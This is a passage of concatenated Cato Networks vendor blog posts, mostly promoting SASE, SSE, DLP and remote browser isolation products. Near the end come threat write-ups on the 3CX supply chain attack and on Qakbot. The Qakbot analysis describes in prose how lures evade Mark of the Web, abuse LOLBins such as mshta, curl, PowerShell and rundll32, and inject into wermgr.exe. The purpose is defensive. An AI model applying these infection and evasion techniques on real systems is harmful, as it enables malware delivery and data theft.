automation, artificial intelligence, and machine learning to adapt to infrastructure disruptions, geographical expansion, capacity changes, user-base mobility, and emerging threats. While highly skilled engineers enhance the platform capabilities to seamlessly detect and respond to these changes, they do not get involved in the platform decision making process that is largely self-driving. Simply put, much of the customer experience lifecycle with Cato is fully and truly automated and embodies massive investment in outcome-driven infrastructure that is fully owned by Cato.  What this means is that any customer that onboards into Cato immediately experiences the networking and security outcomes typical of a Fortune 100 enterprise, in the same way an average content writer could deliver better and faster outcomes when assisted by the outcome driven ChatGPT.  If you want a fresh supply of fish coming your way as “Cato Outcomes”, take us for a test drive. Tackles are included, yet optional.

Why Network Visibility is Essential for Your Organization Most modern companies are highly reliant on their IT infrastructure for day-day business, with employees relying on numerous on-prem and cloud-based software solutions for their daily activities. However, for many companies, the network can be something of a black box. As long as data gets from point A to point B and applications continue to function, everything is assumed to be okay. However, the network can be a rich source of data about the state of the business. By monitoring network traffic flows, organizations can extract intelligence regarding their IT architectural design and security that can enhance IT efforts and inform business-level decision making and strategic investment. What Type of Data Can Network Monitoring Provide? Companies commonly achieve visibility into data flowing through the network via in-line monitoring solutions or network taps. With access to the network data, an organization can perform analysis at different levels of granularity. One option is to analyze network data at a high-level to extract the source, destination, and protocols to baseline the network behavior patterns. Alternatively, an organization can dig deeper into the network packet payload to determine if it contains malware or other malicious content that places the organization at risk. Use Cases for Network Visibility Comprehensive network visibility provides significant benefits to network and security teams alike, and both can take advantage of this to improve network analysis, performance, and security. [boxlink link="https://www.catonetworks.com/resources/achieving-zero-trust-maturity-with-cato-sse-360/"] Achieving Zero Trust Maturity with Cato SSE 360 | Download the White Paper [/boxlink] Advanced Threat Detection Advanced threat detection solutions, such as a next-generation firewall (NGFW) or intrusion prevention system (IPS), commonly rely upon network traffic analysis. They inspect traffic flows for indicators of compromise (IoCs) such as malware or known malicious domains. Based on its analysis, the NGFW or IPS can generate an alert for security personnel or take action itself to block the malicious traffic flow from reaching its intended destination. Zero Trust Security Zero Trust is based on the principle of least privilege. Devices, applications, and users are granted access to corporate resources based on a variety of criteria including identity, device posture, geo-location, time-of-day, etc., and is constantly validated for fitness to remain on the network. Comprehensive network visibility is essential for implementing tighter security, including Zero Trust, and without it, organizations remain at extreme risk. Traffic Filtering Companies commonly implement traffic filtering to prevent employees from visiting dangerous or inappropriate websites and to block malicious traffic flow. These traffic filters rely on the ability to inspect the packet contents and block it appropriately. However, this protection is commonly limited to the network perimeter where organizations typically inspect and filter traffic. With full network visibility, an organization is able to protect all of its office and remote employees. Data Loss Prevention Data loss prevention (DLP) is a vital component of a corporate data security program since it can help identify and block the exfiltration of sensitive business data. DLP solutions work by inspecting network traffic for specific information like file types and data types associated with sensitive data, or potential compliance violations, and then applying policies to prevent data leakage. This is only achievable with enhanced network visibility. Connected Device Visibility Many companies lack full visibility into the devices connected to their networks. This lack of visibility can introduce significant security risks as unknown or unmanaged devices may have unpatched vulnerabilities and security misconfigurations that place them and the corporate network at risk. Network traffic analysis can help companies to gain visibility into these connected devices. By monitoring network traffic, an organization can map the devices, and identify unknown and unmanaged devices. Anomalous Traffic Detection Network monitoring allows organizations to identify common traffic patterns and potential traffic anomalies. These anomalies could point to issues with corporate systems or a potential cyberattack. Unusual traffic flow could be an indication of lateral movement by an attacker, communication to a command and control server, or attempted data exfiltration. Network Usage Monitoring and Mapping Understanding common network traffic patterns can also help inform an organization’s strategic planning. For example, understanding an application’s traffic and usage patterns could highlight unknown bandwidth requirements and help the organization’s  cloud migration strategy to ensure maximum performance with minimal latency. Enhancing Network Visibility with Cato SASE Cloud To achieve network visibility, companies need strategically deployed solutions that can monitor and collect data on all traffic flowing over the corporate network. As remote work and cloud adoption make networks more distributed, this becomes more difficult to achieve. SASE (Secure Access Service Edge) provides a means for companies to achieve network visibility across the corporate WAN. The Cato SASE Cloud converges SD-WAN and security capabilities, allowing all WAN traffic to flow across a global private backbone. This in-depth visibility allows all network and security traffic to be inspected, and all policies applied at the ingress PoP closest to the user or application. This ensures that policy enforcement is consistent across the corporate network. The Cato SASE Cloud is a managed SASE solution that provides comprehensive network visibility and security for a high-performance, global WAN.

Achieving Zero Trust Maturity with Cato SSE 360 Trust is a serious issue facing enterprise architectures today. Legacy architectures are designed on implicit trust, which makes them vulnerable to modern-day attacks. A Zero Trust approach to security can remedy this risk, but transitioning isn’t always easy or inexpensive. CISA, the US government’s Cybersecurity and Infrastructure Security Agency, suggests a five-pillar model to help guide organizations to zero trust maturity. In this blog post, we discuss how Cato SSE 360 helps facilitate Zero Trust Maturity based on CISA’s model. To read a more in-depth and detailed review, read the white paper this blog post is based on, here. What is Zero Trust? Today’s Work-From-Anywhere (WFA) environment requires a paradigm shift away from the traditional perimeter-centric security model, which is based on implicit trust. But in modern architectures, there are no traditional perimeters and the threats are everywhere. A Zero Trust Architecture replaces implicit trust with a per-session-based (explicit trust) model. This ensures adherence to key Zero Trust principles: secure communications from anywhere, dynamic policy access to resources, continuous monitoring and validation, segmentation, least privilege access and contextual automation. [boxlink link="https://www.catonetworks.com/resources/achieving-zero-trust-maturity-with-cato-sse-360/"] Achieving Zero Trust Maturity with Cato SSE 360 | Download the White Paper [/boxlink] CISA Zero Trust Maturity and Cato SSE 360 Zero trust is a journey and the path to zero trust maturity is an incremental one. CISA’s Zero Trust Maturity Model helps enterprises measure this journey based on five pillars: Identity, Devices, Networks, Applications and Data. Let’s examine the Cato SSE 360 approach to these. Pillar 1 - Identity The core of Zero Trust is ensuring user credentials are correctly and continuously verified, before granting access to resources. Cato SSE 360 leverages IdPs to enforce strict user identity criteria. Using TLS, identity and context are imported over LDAP or provisioned automatically via SCIM, and authorized users are continuously re-evaluated. Pillar 2 - Devices With zero trust, device risk is managed through Compliance Monitoring and Data Access Management. Validation includes all managed devices, IoT, mobile, servers, BYOD and other network devices. Cato SSE 360 combines Client Connectivity and Device Posture capabilities with 360-degree threat protection techniques to protect users, devices and resources. Cato has in-depth contextual awareness of users and devices for determining client connectivity criteria and device suitability for network access. Pillar 3: Network/Environment To achieve the zero trust principles of Network Segmentation, Threat Protection and Encryption, a new, dynamic architecture is required. Cato SSE 360 provides such a dynamic security architecture and the network infrastructure to achieve these principles. Cato delivers 360-degree security with FWaaS, IPS, SWG, CASB, DLP and NextGen Anti-Malware, while enforcing Zero Trust policies at the cloud edge. In addition, Cato SSE 360 enables micro-segmentation, provides modern encryption, and uses AI and Machine Learning to extend threat protection. Pillar 4: Application Workloads Wherever enterprise and cloud applications reside, the CISA Maturity Model dictates they receive Access Authorization, Threat Protection, and Accessibility. Cato SSE 360 ensures consistent access policy enforcement, regardless of the application location, user and device identity, or access method. Cato also provides threat hunting capabilities to extend security by identifying hidden threats to critical applications.  Pillar 5 - Data To protect data, access needs to be provided on the least privileged basis and data needs to be encrypted. Cato SSE 360 inspects and evaluates users and devices for risk. In addition, advanced threat protection for data is enabled with tools like CASB, IPS, NextGen Anti-malware, FWaaS and DLP. Cross-pillar Mapping Cato SSE 360 neatly wraps around the CISA model, delivering visibility, analytics and automation across all pillars to facilitate dynamic policy changes and enforcement, and enriched contextual data for accelerated threat response.  Zero Trust Maturity with Cato Cato SSE 360 facilitates zero trust with a cloud-native architecture that places user and device identity with global consistency at the center of its protection model. Cato SSE 360 controls and protects access to sites, mobile users, devices and enterprise and cloud resources, in compliance with Zero Trust principles. As a result, Cato’s approach to Zero Trust makes achieving Zero Trust Maturity easier for the modern enterprise. To learn more, read the white paper.

Updated Cato DLP Engine Brings Customization, Sensitivity Labels, and More Last year, we launched Cato DLP  to great success. It was the first DLP engine that could protect data across all enterprise applications without the need for complex, cumbersome DLP rules.  Since then, we have been improving the DLP engine and adding key capabilities, including user-defined data types for increased control and integration with Microsoft Information Protection (MIP) to immediately apply sensitivity labels to your DLP policy. Let's take a closer look. User Defined Data Types Cato provides over 300 pre-defined out-of-the-box data types and categories for typical scenarios of DLP policies. However, sometimes organizations require the ability to create custom-defined data types to match specific data inspections that are not covered by the pre-defined types. To customize content inspection for your DLP policies, you can now define keywords, dictionaries, and regular expressions. Regular expressions allow for more accurate detection and prevention of data loss incidents, without impacting legitimate business operations. For example, you can use regular expressions to detect specific data patterns, such as email addresses with a string containing the keywords "Bank Account Number" and an 8-to-17-digit number. Cato DLP configuration screen showing customized data types to meet individual requirements. MIP Sensitivity Labels In addition, we recently added the support for MIP as another user defined data type. MIP offers sensitivity labels that enable organizations to classify their data based on their sensitivity level.  The MIP classification system allows for greater control over how data is accessed, shared, and used within the organization. [boxlink link="https://www.catonetworks.com/resources/protect-your-sensitive-data-and-ensure-regulatory-compliance-with-catos-dlp/"] Protect Your Sensitive Data and Ensure Regulatory Compliance with Cato’s DLP | Download the White Paper [/boxlink] By using sensitivity labels, organizations can ensure that sensitive data is only accessed by authorized personnel, while still enabling productivity and collaboration. After integrating Sensitivity Labels and adding them to a Content Profile, the DLP engine immediately enforces them for relevant traffic. For better policy granularity, create separate DLP rules to manage content access for different users and groups based on MIP labels. For instance, a law firm that classified all their documents with MIP labels, can easily reuse the label in the Cato DLP policy to only allow senior partners to access certain documents. MIP Sensitivity Labels are now supported in Cato DLP Cato: Advanced Protection Everywhere – In an Instant With the changes, Cato DLP brings advanced content inspection capabilities that combine data inspection with contextual information based on the full range of Cato’s Networking and Security engines. This unique approach provides greater accuracy and reduces false positives, resulting in a more efficient and effective DLP solution. But, of course, the real distinction of Cato DLP is that it’s part of the Cato SASE Cloud platform. As a global cloud-native platform, Cato SASE Cloud brings DLP along with FWaaS, SWG, ZTNA, CASB, RBI, and more to remote users and locations everywhere in just a few clicks.

Q&A Chat with Eyal Webber-Zvik on Cato RBI  Today Cato Networks announced the addition of the Cato RBI to our Cato SASE Cloud platform. It is an exciting day for us and for our customers. Why? Because Cato’s cloud-native, security stack just got better, and without any added complexity.   I sat down with Eyal Webber-Zvik, Vice President of Product Marketing and Strategic Alliances at Cato Networks, and asked him to provide his perspective on what is Cato RBI and what this means for Cato’s customers.  Why should enterprises care about RBI?  Enterprises need to care because with new websites popping up every day, they face a dilemma between the security risk of allowing employees to access uncategorized sites and the productivity and frustration impact of preventing this. With Cato RBI now integrated into our Cato SASE Cloud platform, we are giving enterprise IT teams the best of both worlds: productivity and security.    What is Cato RBI and why do enterprises need it?  Cato RBI is a security function that protects against malicious websites by running browser activity remotely from the user’s device, separating it from the web content. Cato RBI sends a safe version of the page to the device so that malicious code cannot reach it, without affecting the user experience.  Enterprises need Cato RBI to protect employees from malicious websites that are not yet blacklisted as such. When employees do reach unknown and malicious sites, Cato RBI protects the business by preventing code from running in their browsers. Cato RBI protects from human error while also saving users from the frustration of being blocked from unknown websites.  How does Cato RBI work?  An isolated browser session is set up, remote from the user’s device, which connects to the website and loads the content. Safe-rendered content is then streamed to the users’ browsers. Malicious code does not run on the user’s device and user interaction can be limited, for example, to prevent downloads.   Some solutions require that every browsing session uses RBI, but it is better invoked, when necessary, for example by a policy that is triggered when a user tries to visit an uncategorized website.   Cato RBI gives IT administrators a new option for uncategorized websites. Alongside “Block” and “Prompt,” they can now choose “Isolate.” Configuration of Cato RBI can be done in less than one minute by a customer’s IT administrator.  What if an enterprise already uses SWG, CASB, Firewall, IPS and/or anti-malware? Why do they need Cato RBI?  These solutions protect against a wide range of threats, but Cato RBI adds another important layer of protection specifically against web- and browser-based threats, such as phishing, cookie stealing, and drive-by downloads. Since Cato RBI prevents code from reaching devices, it will help protect a business against:  New attacks that are not documented.  New malicious sites that are not categorized.  User error, such as clicking on the link in a phishing email.  Cato RBI gives enterprises more peace of mind. It may allow organizations to operate a more relaxed policy on access to unknown websites, which is less intrusive and frustrating for users, who in turn will raise fewer tickets with their IT team.  What types of cyber threats does Cato RBI protect against?  Cato RBI provides protection against a wide range of browser-based attacks such as unintended downloads of malware and ransomware, malicious ads, cross-site scripting or XSS, browser vulnerabilities, malicious and exploited plug-ins, and phishing attacks.  What are the benefits of Cato RBI for enterprises and users?  There are five immediate benefits when using Cato RBI. They are:  To make web access safer by isolating malicious content from user devices.  To prevent your data from being stolen by making it more difficult for attackers to compromise user devices.  To protect against phishing email, ransomware, and malware attacks, by neutralizing the content in the target websites.  To defend against zero-day threats by isolating users from malicious websites that are new and not yet categorized.  To make users more productive by allowing them to visit websites even though they are not yet known to be safe.  Does Cato collaborate with other companies to offer Cato RBI?  Yes. We partner with Authentic8, a world leader in the field of RBI. Authentic8 is chosen by hundreds of government agencies and commercial enterprises and offers products that meet the needs of the most regulated organizations in the world. Authentic8’s RBI engine is cloud-native and globally available, and the integration into our Cato SASE Cloud is seamless and completely transparent.  Follow the links to learn more about Cato RBI, and about our SASE solution.

The Enterprise Network Cookbook An enterprise network strategy helps organizations maximize connectivity between end-user devices and applications so they can achieve positive business outcomes. But not all organizations know how to build a comprehensive enterprise network strategy on their own. A new report by Gartner guides Infrastructure & Operations (I&O) leaders in creating a dynamic enterprise network strategy that connects business strategy to implementation and migration plans. In this blog post, we bring attention to the main highlights of their recommendations. You can read the entire “Enterprise Network Cookbook", complimentary from Cato, here. Strategy Structure Executive Summary - Communicates the summary to senior management. It should include the different stakeholder roles and the expected business outcomes. It is recommended to write this last. Business Baseline - A summary of the top-level business strategy, the desired business outcomes and business transformation initiatives. The baseline should also cover potential benefits and risks and explain how to overcome challenges. Campus and Branch Baselines - The organization’s guiding principles for campuses and branches. For example, wireless first, IoT segmentation, or network automation. WAN Edge Baselines - Principles for the WAN edge, like redundant connectivity design or optimization of WAN for cloud applications. Data Center and Cloud Networking Baselines - Cloud and data center principles. It is recommended to properly emphasize the importance of the data center and ensure automation by default. [boxlink link="https://www.catonetworks.com/resources/7-compelling-reasons-why-analysts-recommend-sase/"] 7 Compelling Reasons Why Analysts Recommend SASE | Download the Report [/boxlink] Gartner’s Cookbook includes two sections of brainstorming and discussions when determining the main principles that will drive the enterprise networking strategy: Services Strategy Brainstorming - The strategy that determines how security and management applications are consumed, both on-premises and from the cloud. This section should cover a variety of use cases, including  infrastructure as a service, platform as a service and SaaS, a hybrid IT operating model, which applications remain on-premises, etc. Financial Considerations - The financial implications of the enterprise network on corporate financial models. This section includes considerations like cost transparency, visibility, budgeting, asset depreciation predictability and funding sources. Gartner also details what they consider the most important section of the enterprise network strategy: Inventory - In this section, list the inventory of the equipment and how it is deployed for the purpose of discovering each item and ensuring it is part of the enterprise network. Make sure to detail the component’s location, vendor, cost, use case requirements, integrations, etc. If you have too many components, focus on the core network. The enterprise network strategy needs to align with existing strategies so it doesn’t reinvent or contradict them. It should align with: Security - Including security principles, responsibilities, and compliance Organizational and Staffing Issues - Enterprise networking will change staffing and HR requirements, since the new strategy will require different skill sets. Migration Strategy - A strategy for replacing legacy technologies. The strategy should take into consideration functionality, contract and service level agreements. Both technical and business factors should be present in the migration strategy. Next Steps Now that you’ve answered the “what” and “why” questions, you can move on to the implementation plan, i.e the “how” and the “when”. But even if you’ve already started implementation, developing a network strategy document can help you continue to implement in a more effective way that addresses your organizational needs. Therefore, it is recommended to create a network strategy plan, no matter how far into the implementation you are. Read more details from Gartner here.

Ensuring Secure, Scalable, and Sustainable Remote Access for the Hybrid Workforce Remote or hybrid work have become the de facto standard for many companies, post-pandemic, as more employees demand more flexible workplace policies. Therefore, organizations looking to support hybrid work will require a long-term strategy that ensures their infrastructure is equipped to securely facilitate this new flexible work environment.  Remote Work Creates New Security Needs The corporate workforce has, historically, been tethered to office configurations that made it easier to provide secure access to corporate applications. Traditional perimeter-based network security solutions would inspect and filter traffic before it passed through the network boundary.  However, this has become much more complex because the age of the hybrid workforce dictates that we rethink this approach to ensure we provide the strongest possible protection against cyber threats for remote and office workers.  While security threats present the modern enterprise with numerous challenges, the more specific challenges associated with remote work include the following: Secure Remote Access: Remote workers accessing corporate networks and applications over untrusted, public networks place themselves and the company at greater risk of cyber threats. These employees require reliable, secure remote access to ensure network connectivity to a remote site. Additionally, this secure connectivity, along with advanced threat defense ensures protection for allusers, applications and service against potential cyber threats. Cloud Security: A significant amount of remote worker traffic goes to cloud-based business applications. Backhauling this traffic through corporate networks for inspection and policy enforcement is inefficient and impacts network performance and user experience. Secure Internet Access: Direct Internet access is a common expectation for remote workers. However, this deprives employees of enterprise security protections, and backhauling through the corporate data center adversely impacts network performance and user experience.  Advanced Threat Protection: Companies commonly have next-generation firewalls (NGFWs) and other advanced threat protection solutions deployed at the network perimeter. Without these protections, remote employees are more at risk of cyber threats. [boxlink link="https://www.catonetworks.com/resources/why-remote-access-should-be-a-collaboration-between-network-security/"] Why remote access should be a collaboration between network & security | Download the White Paper [/boxlink] Key Requirements for Remote Work Security The rise of remote work and the cloud has rendered traditional, perimeter-focused security solutions obsolete. If a significant percentage of an organization’s users and IT assets sit outside of the protected network, then defending that perimeter provides the organization with limited protection against cyber threats. As hybrid work becomesthe de facto standard for business, organizations will require a purpose-built infrastructure designed to offer high-performance secure remote access, and advance threat protection.  Key solution requirements will include: Geographic Reach: Hybrid workers require secure and consistent anytime, anywhere access, so remote access solutions must ensure that a company can protect its remote employees while providing consistent security and performance no matter where they are. Direct Routing: Backhauling remote traffic to the corporate data center for inspection adds latency and dramatically impacts network performance and the user experience. Security policies for remote workers must be easily applied and enforced while maintaining a great user experience. Consistent Security: Consistent security and policy enforcement across the entire enteprise, including the remote workforce is a must. Resiliency: Remote work is commonly a component of an organization’s business continuity plan, enabling business to continue if normal operations are disrupted. A security solution for remote workers should maintain operations despite any network interruptions. SASE and SSE Provides Secure Network Connections to Remote Sites Secure Access Service Edge (SASE)  is a cloud-based solution that converges network and network security, and enables companies to implement strong, consistent security for their entire workforce. This combination ensures that corporate network traffic undergoes security inspection en route to its destination with minimal performance impact. Additionally, a cloud-based deployment enhances the availability, scalability, and resiliency of an organization’s security architecture while delivering consistent policy enforcement.

A sit down with Windstream Enterprise CTO on Security Service Edge Windstream Enterprise recently announced the arrival of North America's first and only comprehensive managed Security Service Edge (SSE) solution, powered by Cato Networks—offering sophisticated and cloud-native security capabilities that can be rapidly implemented on almost any network for near-immediate ironclad protection. In the spirit of partnership, we sat down with Art Nichols, CTO of Windstream, to share insights into this SSE announcement and what this partnership brings to light.  Why did you decide to roll out SSE?   We are excited to expand upon our single-vendor security offerings with the launch of this single-vendor cloud-native SSE solution, powered by Cato Networks. This SSE architecture delivers near immediate and cost-effective ways for clients to protect their network, and the users and resources attached to it. It also supports the expanded remote access to cloud-based applications that customers and employees alike must utilize.   By rolling out SSE to our customers, our ultimate goal is to provide them with a seamless journey towards improving their organization's security posture. Most IT leaders are aware that in this era of constant digital change, businesses must make room for greater cloud migration, rising remote work demands and new security threats. SSE will help futureproof their network security by migrating away from outdated and disjointed security solutions that are limited in their ability to support customer and employee needs for greater use of cloud resources.  [boxlink link="https://www.catonetworks.com/resources/cato-sse-360-finally-sse-with-total-visibility-and-control/"] Cato SSE 360: Finally, SSE with Total Visibility and Control | Download the White Paper [/boxlink] Why did you choose Cato's SSE platform?   Partnering with Cato Networks was no doubt the right decision for Windstream Enterprise. While we considered multiple technology partners, Cato's solution was the only fully unified cloud-native solution. This architecture enables businesses to eliminate point solutions and on-premises devices by integrating the best available security components into their existing network environments without disruption. This partnership allowed us to enter the Secure Access Service Edge (SASE) and SSE market fast and be a key part of it as security needs continue to rapidly evolve.   Cato Networks is different from the competition because it was built to be a cloud-native SASE solution. As such, Cato's technology offers a better customer experience with greater visibility across the platform, as well as artificial intelligence that can swiftly evaluate all security layers and provide a faster resolution to security breaches and vulnerabilities.   Partnering with Cato has given us quite a competitive edge—and it's not just about the technology (although it's a big part of it); we feel that we get the unique opportunity to partner with the inventor of a true 360-degree SASE platform. Cato's SSE solution pairs perfectly with our professional services and market-leading service portfolio—backed by our industry-first service guarantees and our dedicated team of cybersecurity experts. We could not be more pleased with this partnership and look forward to what the future will bring.  You're already offering SASE, powered by Cato Networks. How will this be different?   SSE is a subset to SASE, which is meant to describe the convergence of cloud security functions. SASE takes a broader and more holistic approach to secure and optimized access by addressing both optimization of the user experience and securing all access and traffic against threats, attacks, and data loss.   What we've announced has similarities with a SASE solution in almost every way, but unlike SASE, an SSE solution can by overlayed onto any existing network, such as a SD-WAN, allowing it to be deployed near-immediately to secure all endpoints, users and applications. Because of this, SSE brings an added level of simplicity in that no network changes are required to implement this security framework.   What is driving the demand for solutions like SSE and SASE?  Gartner has predicted that "By 2025, 80% of organizations seeking to procure SSE-related security services will purchase a consolidated SSE solution, rather than stand-alone cloud access security broker, secure web gateway and ZTNA offerings, up from 15% in 2021." These means there are many enterprises that are, or soon will be, searching for a comprehensive SSE solution. And since security for networks, applications and data continues to be a top concern for most C-level and IT executives, there are several reasons backing the strong demand for SSE and SASE:  Cybercriminals are becoming incredibly sophisticated in the ever-expanding threat landscape, and data breaches come with high price tags that can damage brand reputations and wallets.  Legacy networks were built around physical locations that don't scale easily. because they are premises based. Premises-based disjointed point solutions from multiple vendors often require manual maintenance.  With more applications moving to the cloud, SSE is a cloud-native framework specifically built for modern work environments (hybrid and remote). It delivers a self-maintaining service that continuously enhances all its components, resulting in reduced IT overhead and allowing enterprises to shift focus to business-critical activities. It also no longer makes sense for businesses to backhaul internet traffic though data center firewalls.  What can customers gain from a managed SSE solution?  SSE is a proven way to improve an organization's security posture by establishing a global fabric that connects all edges into a unified security platform and enables consistent policy enforcement. By choosing a managed SSE solution, you get near-instant protection on any network—integrating the best available cloud-native security components from Cato Networks into your existing network environment without any disruption.

Which SSE Can Replace the Physical Datacenter Firewalls? Most SSE solutions can support moving branch security to the cloud. But only a few can securely cloudify the datacenter firewall. This is because datacenter firewalls don’t just address the need for secure Internet access, which is the main SSE capability. Rather, these firewalls are also used for securing WAN access, datacenter LAN segmentation and ensuring reliability and high availability to network traffic. In this blog post, we explore which capabilities a datacenter firewall-replacing SSE needs to have. To read a more in-depth explanation about each capability, go to the eBook this blog post is based on. Replacing the Datacenter Firewall: SSE Criteria An SSE solution that can replace the datacenter firewall should provide the following capabilities: 1. Secure Access to the Internet SSE needs to secure access to the internet. This is done by analyzing and protecting all internet-bound traffic, including remote user traffic, based on rules IT sets between network entities. In addition, SSE will include an SWG for monitoring and controlling access to websites. Finally, SSE will have built-in threat prevention, including anti-malware and IPS capabilities as a service. 2. Secure Access From the Internet While many SSE solutions use proxy architectures to secure outbound Internet traffic, SSE solutions that can replace the datacenter firewall are built from the ground up with an NGFW architecture. This enables them to secure traffic directed at datacenter applications and also direct traffic to the right server and applications within the WAN. [boxlink link="https://www.catonetworks.com/resources/which-sse-can-replace-the-physical-datacenter-firewalls/"] Which SSE Can Replace the Physical Datacenter Firewalls? | Download the White Paper [/boxlink] 3. Secure WAN Access A WAN firewall controls  whether traffic is allowed or blocked between organizational entities. The SSE-based WAN firewall can also leverage user awareness capabilities and advanced threat prevention.  4. Secure LAN Access SSE should secure VLAN traffic using access control and threat prevention engines. This must be done at the nearest SSE PoP to avoid latency. There also needs to be an option to route the traffic via an on-premise edge appliance. In addition to these capabilities, SSE needs to have visibility into the entire network. The visibility enables protecting WAN traffic and remote users accessing internal applications and the governance of applications, ports and protocols. Cato’s SSE 360 solution, built on a cloud-native architecture, secures traffic to all edges and provides full network visibility and control. Cato’s SSE 360 deliveres all the functionality a datacenter firewall provides, including NGFW, SWG, advanced threat protection and managed threat detection and response.

The 3CX Supply Chain Attack – Exploiting an Ancient Vulnerability

The 3CX Supply Chain Attack – Exploiting an Ancient Vulnerability Supply chain attacks are one of the top concerns for any organization as they exploit (no pun intended) the inherited trust between organizations. Recent examples of similar attacks include SolarWinds and Kaseya. On March 29th, a new supply chain attack was identified targeting 3CX, a VoIP IPXS developer, with North Korean nation-state actors as the likely perpetrators. What makes the 3CX attack so devastating is the exploitation of a 10-year-old Microsoft vulnerability (CVE-2013-3900) that makes executables appear to be legitimately signed by Microsoft while, in fact, they are being used to distribute malware. This is not the first time this vulnerability has been exploited; earlier this year, the same tactic was used in the Zloader infection campaign. In the 3CX case, the two “signed” malicious DLLs were used to connect to a C&C (Command and Control) server and ultimately connect to a GitHub repository and download an information stealing malware that targets sensitive data users type into their browser. [boxlink link="https://www.catonetworks.com/resources/cato-networks-sase-threat-research-report/"] Cato Networks SASE Threat Research Report H2/2022 | Download the Report [/boxlink] The Cato Networks security group responded to this threat immediately. Customers whose systems were communicating with the second-stage payload server were contacted and informed of which devices were compromised. All domains and IPs associated with the campaign were blocked to limit any exposure to this threat. Cato’s approach to such threats is one of multiple choke points, ensuring the threat is detected, mitigated, and prevented along its entire attack path. This can only be done by leveraging the private cloud backbone in which each PoP has the entire security stack sharing and contextualizing data for each network flow. Cato’s mitigation of the 3CX threat includes: Malicious domains are tagged as such and are blocked. The firewall rule for blocking malicious domains is enabled by default. IPS (Intrusion Prevention System) – Payload servers were added to the domain blocklist, this is complimentary to the firewall rules and is not dependent on them being enabled. Anti-malware – All 3CX associated trojans are blocked MDR (Managed Detection and Response) – the MDR team continues to monitor customer systems for any suspicious activities. Cato Networks security group will continue to monitor this threat as it develops.  For a detailed technical analysis of the attack see Cyble’s blog.

The Evolution of Qakbot: How Cato Networks Adapts to the Latest Threats

The Evolution of Qakbot: How Cato Networks Adapts to the Latest Threats  The world of cybersecurity is a never-ending battle, with malicious actors constantly devising new ways to exploit vulnerabilities and infiltrate networks. One such threat, causing headaches for security teams for over a decade, is the Qakbot Trojan, also known as Qbot. Qakbot has been used in malicious campaigns since 2007, and despite many attempts to stamp it out, continues to evolve and adapt in an attempt to evade detection. Recently, the Cato Networks Threat Research team analyzed several new variants of Qakbot that exhibited advanced capabilities and evasive techniques to avoid detection and quickly built and deployed protection for the additional changes into the Cato Networks IPS. In this analysis, Cato Networks Research Team exposes the tactics, techniques, and procedures (TTPs) of the latest Qakbot variant and explores its potential impact on enterprises and organizations if left alone. Why Now? During the COVID-19 pandemic, an eruption of cyberattacks occurred, including significant growth of attacks involving ransomware. As part of this surge, Qakbot’s threat actor adapted and paired with other adversaries to carry out ferocious multi-stage attacks with significant consequences. Qakbot is sophisticated info-stealing malware, notorious as a banking trojan, and is often used to steal financial information and conduct fraudulent financial transactions. Pursuing even larger gains, in the last few years, Qakbot targets have shifted from retail users to businesses and organizations. As recent versions of Qakbot emerge, they present new infection techniques to both avoid detection and maintain persistence on the infected systems. Qakbot’s latest design updates, and additionally complex multi-stage infection processes, enable it to evade detection using most traditional security software detection techniques, and pose a significant and ongoing threat to unprotected businesses and organizations. How Do the Latest Versions of Qakbot Work? The first stage of the Qakbot infection process begins when a user clicks on a link inside a malicious email attachment. In the latest Qakbot versions, the malicious file attachments are typically ZIP, OneNote or WSF files (a file type used by the Microsoft Windows Script Host.). Zip, OneNote and WSF files are commonly used by malicious actors as they make it easier to evade the Mark of the Web (MOTW). MOTW is a security mechanism implemented by Microsoft to detect and block files with macros (such as Excel files) that were downloaded from the internet and may be compromised. By using file types that do not receive MOTW, Qakbot attachments are more likely to evade detection and blocking. When the user opens the WSF or OneNote file and clicks the embedded link, Qakbot covertly launches a series of commands, allowing the malware to infect the system and take additional measures to evade detection. [boxlink link="https://www.catonetworks.com/resources/cato-networks-sase-threat-research-report/"] Cato Networks SASE Threat Research Report H2/2022 | Download the Report [/boxlink] Malicious files are cloaked as innocuous files by abusing Living Off the Land Binaries (LOLBins) and by imitating commonly used file types, such as Adobe Cloud files, to stay hidden. LOLBins are legitimate binaries or executables found in the Windows operating system that are also used by attackers to carry out malicious activities. These binaries are typically present on most Windows machines and are legitimately used for system maintenance and administration tasks but can easily be abused to execute malicious code or achieve persistence on compromised systems. Attackers commonly make use of LOLBins because they are present on most Windows systems and are typically on the allow list of common security software, making them more difficult to detect and block. Examples of common LOLBins include cmd.exe, powershell.exe, rundll32.exe and regsvr32.exe. After the initial infection stage is complete, Qakbot expands its footprint on the infected system and eventually uses encrypted communication with Qakbot command and control (C2) servers to further conceal its activities and evade detection. An example of a shared malicious PDF attachment instructing the victim to execute the bundled .wsf file Let’s explore four different recent Qakbot infection scenarios to learn exactly how they operate. Scenario 1: Malicious email with an embedded .hta file, hidden within a OneNote file attachment, leading to multi-stage infection process:  From the malicious email, the user (victim), is led to click a malicious link hidden inside a legitimate looking OneNote file attachment. After clicking the link, the infection chain begins.The malicious link is in actuality, an embedded .hta file, executed when the link is clicked. The .hta file includes a VBscript code used to deliver the Qakbot payload and infect the device. Windows uses MSHTA.exe to execute .hta files. Typically, MSHTA.exe is used legitimately to execute HTML applications, and that is why this process usually evades detection as being malicious. Embedded malicious .hta file using VBScript to execute commands on the operating system After the .hta file is initiated, it executes curl.exe to force download an infected dll file from a remote C2 Qakbot server. The Qakbot payload is disguised as an image file to evade detection during the download process. Curl is another normally legitimate tool, used for transferring data over the internet. De-obfuscated code from the .hta file showing the execution of curl.exe and the Qakbot payload The .hta file then executes the Qakbot dll file using rundll32.exe.Rundll32.exe is another normally legitimate Windows application used to run DLL files. In this scenario, executing rundll32.exe allows the malicious DLL file, disguised as an image, to be successfully loaded into the system, undetected. Example of Qakbot’s infection chain Loaded onto the system successfully, Qakbot then hides itself by spawning a new process of wermgr.exe and injecting its code into it. Wermgr.exe is a legitimate Windows Event Log application. Masquerading as a legitimate process enables the malware to run in the background and avoid detection by most common anti-virus software. Scenario 2: Like Scenario 1, but in this variation, a malicious email with an embedded .cmd file is hidden within a OneNote file attachment, leading to a multi-stage infection process. From the malicious email, the user (victim), is led to click the malicious link hidden inside a legitimate OneNote file attachment. After clicking the link, Qakbot begins the infection chain.The malicious link is in actuality, an embedded .cmd file, and executes when the link is clicked. Windows uses CMD.exe to execute the .cmd file. CMD.exe is a legitimate command-line interpreter, used to execute commands in Windows operating systems. Being a LOLBin, this process is usually abused to evade detection. .cmd file content The .cmd file invokes PowerShell to force download an encrypted payload from a remote Qakbot C2 server.PowerShell is a powerful scripting language built into Windows operating systems and is typically used for task automation. Decoded base64 string from the .cmd script The downloaded 